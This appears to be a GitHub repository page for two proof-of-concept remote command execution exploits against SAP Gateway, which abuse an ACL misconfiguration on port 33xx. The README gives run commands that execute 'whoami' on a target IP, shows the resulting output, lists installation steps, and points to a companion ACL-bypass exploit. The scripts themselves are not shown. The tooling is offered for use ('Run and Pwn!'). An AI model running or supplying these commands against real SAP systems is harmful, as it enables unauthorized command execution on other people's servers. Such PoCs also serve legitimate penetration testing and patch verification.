Skip to content
SAP Gateway RCE exploits
Branch: master
Clone or download
Latest commit f6c8a93 Apr 24, 2019
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
COPYING add lic invormation Apr 22, 2019
README.md Update README.md Apr 24, 2019
SAPanonGWv1.py add first version og exploit Apr 11, 2019
SAPanonGWv2.py add some info and links Apr 22, 2019
requirements.txt add some info and links Apr 22, 2019

README.md

What is it?

This PoC exploits an ACL misconfiguration in the SAP Gateway (port 33xx) that leads to a Remote Command Execution (RCE).

SAPanonGWv1.py is the first version of the exploit based on raw packets sent. It does not require any additional modules (Run and Pwn!).

SAPanonGWv2.py is the second version of the exploit based on the pysap library.

Creds

These PoCs were developed by Dmitry @_chipik Chastuhin

How to use

➜python SAPanonGWv1.py -t 172.16.30.28 -p 3300 -c whoami
[*] sending cmd:whoami
n45adm
➜python SAPanonGWv2.py -t <ip> -p 3300 -c whoami
[INFO ] [+] Sending GW_NORMAL_CLIENT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_INIT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_SEND
[INFO ] [+] Sending F_SAP_SEND2
n45adm

Installation

Only for SAPanonGWv2.p

git clone https://github.com/gelim/pysap
pip install -r pysap/requirements.txt
python pysap/setup.py install
git clone https://github.com/chipik/SAP_GW_RCE_exploit

or

git clone https://github.com/chipik/SAP_GW_RCE_exploit
pip install -r SAP_GW_RCE_exploit/requirements.txt

SAP GW ACL bypass

You can use these exploits together with SAP MS Trusted exploit that allows you to bypass dafault sec_info ACL

See our presentation for details

Contributors

Contributions made by:

You can’t perform that action at this time.